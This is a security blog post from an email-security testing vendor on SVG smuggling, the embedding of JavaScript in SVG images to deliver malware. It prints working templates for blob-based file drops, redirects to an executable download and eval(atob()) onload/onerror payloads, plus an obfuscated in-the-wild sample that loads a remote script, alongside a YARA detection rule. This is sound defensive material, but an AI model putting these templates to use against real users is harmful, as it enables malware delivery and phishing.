SVG Smuggling: A picture worth a thousand words

delivr.to
9 min readJul 24, 2023

In our previous blog, we took a deep dive into the latest techniques used by threat actors to achieve HTML Smuggling.

Without retreading too much of the ground we covered last time, HTML Smuggling remains a prevalent technique among threat actors seeking to deliver malicious files into a target network, as well as present believable content, e.g. login portals, through which to achieve credential theft.

The endless permutations of local and remote resources that can be embedded and obfuscated within an HTML file, combined with the powerful features of accompanying JavaScript, present a significant challenge for defenders.

We cast a broad net in our last blog, and looked at numerous ways in which attackers have performed HTML Smuggling. In this blog, we’re going to dial in on one specific technique - the abuse of SVG images.

We initially covered this technique in a Twitter thread in June ’23, but to retain the information for future reference, and with an increased usage of SVG smuggling since then, we’ve captured it here too!

Update #1 (06/09/2023) — Named File Smuggling Added

A Quick Qakbot Recap

Last time, we highlighted QakBot usage of SVG images embedded in HTML files to smuggle malware. A high-level summary of the technique is:

  • An HTML file can contain the necessary JavaScript to add an embedded SVG image to the page at run time (i.e. dynamically modifying the DOM).
  • This SVG image in turn has its own embedded JavaScript that performs what you might consider as ‘second-stage’ smuggling of the eventual payload (or login portal assets, if we go down the fake login portal route).
The unpacking flow from HTML, to SVG, to eventual payload

The example below highlights this technique employed for QakBot delivery around Nov/Dec 2022:

You can find a recreated example of a QakBot payload leveraging this technique here.

Taken from the sample above, you can see the SVG element construction in the code snippet below, where the SVG ‘src’ is constructed from base64 decoded HTML elements (using the hFRO17xJ function). The SVG is eventually added to the page in a new div.

function XdWksGGH()
{
let jlt4WVkB = document.querySelector("#d5OTSi0E").dataset.reaction;
let Ul2kS6yF = document.getElementById('clRD3vlB').innerText;
let LOhaPIsE = "data:image/svg+xml;base64,";
LOhaPIsE += hFRO17xJ(jlt4WVkB);
LOhaPIsE += hFRO17xJ(Ul2kS6yF);
return LOhaPIsE;
}

function gmZptmeH()
{
if (!document.getElementById('loX6k5fx')) {
const EWPuYL4t = document.createElement("div");
EWPuYL4t.setAttribute("style", "displau: none;");

var DeoHDSuS = document.createElement("embed");

DeoHDSuS.setAttribute("width", 80);
DeoHDSuS.setAttribute("height", 80);
DeoHDSuS.setAttribute("id", "loX6k5fx");
DeoHDSuS.setAttribute("src", XdWksGGH());

document.body.appendChild(EWPuYL4t);
EWPuYL4t.appendChild(DeoHDSuS);
}
}

To achieve the second-stage smuggling, let’s turn our attention to the contents of the SVG element. Here, we see how JavaScript can be leveraged in <script> tags (and a CDATA section) to initiate our file download (we’ve simplified the JavaScript code here for readability!).

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/javascript">
<![CDATA[
function b64blb(b64Data, sliceSize)
{
var byteArrays = [];
var byteCharacters = atob(b64Data);

for(var offset = 0; offset < byteCharacters.length; offset += sliceSize)
{
var slice = byteCharacters.slice(offset, offset + sliceSize);
var byteNumbers = new Array(slice.length);

for(var i = 0; i < slice.length; i++)
{
byteNumbers[i] = slice.charCodeAt(i);
}

var byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}

var blob = new Blob(byteArrays, {type: "application/zip"});
return blob;
}

function newFile(blob)
{
let file = new File([blob], "test.zip", {type: "application/zip"});
let expurl = URL["createObjectURL"](file);
window.location.assign(expurl);
URL.revokeObjectURL(expurl);
}

var content = 'BASE64_ZIP_CONTENT';
var blob = b64blb(content, 512);
newFile(blob);

]]>
</script>
</svg>

Letting the picture speak for itself!

With the ability to execute arbitrary JavaScript in an SVG image file, what’s to stop us removing the HTML wrapper, and fully weaponising the SVG as our vehicle for phishing?

The Scalable Vector Graphics format is, first and foremost, an image format. Combined with JavaScript content, we can display appealing social engineering lures to accompany our smuggled payloads.

An SVG image can be created in a graphical design application and modified to include smuggling JavaScript, or created from scratch, with image content added as a Base64 blob as below:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image height="863" id="Image" width="1700" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEU..."/>
<script type="text/javascript">
<![CDATA[
alert('Smuggle code here');
]]>
</script>
</svg>

Before we explore some applications and variations of SVG Smuggling, here’s a demo of what a potential phishing SVG might look like:

You can find this payload on delivr.to here.

File Smuggling

In its simplest implementation, we can take the SVG snippet above and operationalise that. At the time of writing, SVGs are typically permitted through mail gateways, and opened by browsers by default (results may vary for target users with graphical design applications installed, as these may register as the default handler for SVGs). So the SVG could be emailed to the target user, who could simply double-click to initiate the file download.

It’s worth noting here that performing SVG smuggling in this way results in files losing their original filename when downloaded, instead displaying a UUID. Anything other than a ZIP format also results in the file extension being removed. This clearly limits your smuggled file options, but isn’t a show stopper, of course.

Update #1 (06/09/2023) — Named File Smuggling

A recent update to @r00treaver’s AutoSmuggle tool by @RandomDhiraj overcomes the above limitation on filenames and extensions with modified JavaScript that dynamically adds an anchor element (<a>) to initiate the download (alluded to in a StackOverflow answer here).

Our original QakBot code snippet could be adapted to the following to incorporate this feature:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/javascript">
<![CDATA[
function b64blb(b64Data, sliceSize)
{
...
}

function newFile(blob)
{
var blob = new Blob([blob], {type: 'octet/stream'});
var a = document.createElementNS('http://www.w3.org/1999/xhtml', 'a');
document.documentElement.appendChild(a);
var url = URL['createObjectURL'](blob);
a.href = url;
a.download = 'FILENAME';
a.click();
URL.revokeObjectURL(url);
}

var content = 'BASE64_ZIP_CONTENT';
var blob = b64blb(content, 512);
newFile(blob);

]]>
</script>
</svg>

In the wild usage

We originally tweeted about this in early June:

Since then, we’ve observed an uptick in instances of this technique appearing in the wild, such as the sample below:

Script Element Detection

You’ll note that the code snippets up until now make use of a <script> element within our SVGs to contain the JavaScript. We’ve therefore added a Sublime rule to our detections repo to detect the presence of script elements in SVGs.

Sublime rule for SVG files with Script tags present

Redirection

Another very popular usage of delivered JavaScript in HTML Smuggling attachments is for the purposes of redirection, i.e. the HTML is just a means to deliver a (potentially obfuscated) link.

When the user opens the HTML in a browser, the JavaScript executes and sends the user off to an attacker-controlled site or initiates a remote file download. Often (but not exclusively) using one of two JavaScript functions:

  • window.location.href = “DESTINATION_URL”
  • window.location.replace(“DESTINATION_URL”)

This translates seamlessly to an SVG payload, as can be seen in the code snippet below (and available in our collection here):

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/javascript">
<![CDATA[
window.location.href = "https://files.delivrto.me/test.exe";
]]>
</script>
</svg>

This snippet could potentially be improved from a social engineering perspective by presenting an initial image, e.g. a loading screen, before initiating the redirection.

OnLoad/OnError Triggered Smuggling

Script elements aren’t the only way to execute JavaScript in an SVG file!

As with other image file elements in HTML, we can set an onload or onerror attribute value that takes arbitrary JavaScript to execute.

Take the below code snippet as an example, which uses the onload attribute on the top-level SVG:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="eval(atob('B64_PAYLOAD'))">
</svg>

You can find a weaponised version of this technique for file smuggling in our collection here.

Or this example, which uses the onerror attribute of an image element within the SVG:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="x" onerror="eval(atob('B64_PAYLOAD'))"/>
</svg>

You can find a weaponised version of this technique for file smuggling in our collection here.

This technique could be leveraged to achieve file smuggling or a page redirect as we saw previously.

In addition to the SVG file smuggling, we’ve also recently seen this onload technique being used in the wild (albeit in a HTML file, rather than native SVG):

This sample shares many similarities with another sample in our collection here, but this time includes the SVG code snippet within it:

<svg onload='auEwxY = window;xcZJrTA=auEwxY["doc"+"ume"+"nt"]["createE"+"lement"]("scr"+"ipt");xcZJrTA.src=auEwxY["at"+"ob"]("aHR0cHM6Ly[..]4emJiR2k=");document["bo"+"dy"]["append"+"Child"](xcZJrTA);'>

OnLoad/OnError Detection

This slightly more evasive technique for SVG Smuggling is easy to spot when you’re looking for it. We’ve added a YARA rule to our detection repo here for SVGs containing the onload or onerror attribute.

rule SUSP_SVG_Onload_Onerror_Jul23 {
meta:
description = "Presence of onload or onerror attribute in SVG file"
author = "delivr.to"
date = "2023-07-22"
score = 40
strings:
$svg = "svg" ascii wide nocase
$onload = "onload" ascii wide nocase
$onerror = "onerror" ascii wide nocase
condition:
($svg) and
($onload or $onerror)
}

We’ve also added a Sublime rule to detect these SVGs too:

Conclusion

In this blog, we’ve highlighted the opportunities for leveraging SVGs as a vehicle for phishing. Used for the delivery of Qakbot malware in late 2022, the smuggling potential was initially demonstrated when embedded within HTMLs, but here we see that they are a potent file format in their own right.

There are countless techniques for HTML Smuggling used for file delivery, credential theft, and more. In this blog we’ve seen just a few ways in which SVGs can be used to achieve the same objectives.

We also touched upon the detection opportunities for SVG smuggling, alerting on the presence of a script element in the SVG XML, or the use of onload/onerror attributes.

Recent samples would indicate that SVG Smuggling is something that threat actors are leveraging, and we will likely see other techniques evolve as they have done with HTMLs.

Blog written by Alfie Champion.

Resources

delivr.to’s initial Qakbot HTML, and subsequent SVG payloads, referenced in this blog (find all our SVG payloads here):

  • WP#1337.html: A Qakbot malware delivery mechanism. An HTML smuggling attachment, using a Google Drive background, that delivers a double base64-encoded, password-protected ZIP file. This contains an ISO that uses a VBS script, PowerShell script and a base64-encoded and reversed DLL to achieve execution.
  • msft_click_hex_zip_smuggle_svg.svg: An SVG file with embedded JavaScript used to smuggle a zip file, containing a text file. The file is embedded as a hex string in the SVG, and the JavaScript uses an event listener to initiate download on user click. A Microsoft-branded lure is shown on open.
  • redirect_href_svg.svg: An SVG image file that immediately redirects to a benign, hosted, executable file download upon page load. This makes use of the window.location.href JavaScript function to achieve the redirect.
  • redirect_svg_onload_href.svg: An SVG file that leverages an ‘onload’ argument to execute embedded JavaScript, removing the need for a script block. This JavaScript content uses the window.location.href function and redirects the user to a remotely-hosted benign, text file.
  • svg_onerror_hex_zip.svg: A benign text file in a zip, smuggled in an SVG file, using the OnError property of an image.

Detection rules references in this blog:

delivr.to

delivr.to is a platform for validating email security controls, through the continuous and automated sending of email attachment and link content.

delivr.to has a broad collection of over 500 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email defences and highlight areas for attack surface reduction.

delivr.to offers a free 30 day trial, so head over and try it out now!

--

--

Posts from the delivr.to team on all things email control validation and purple teaming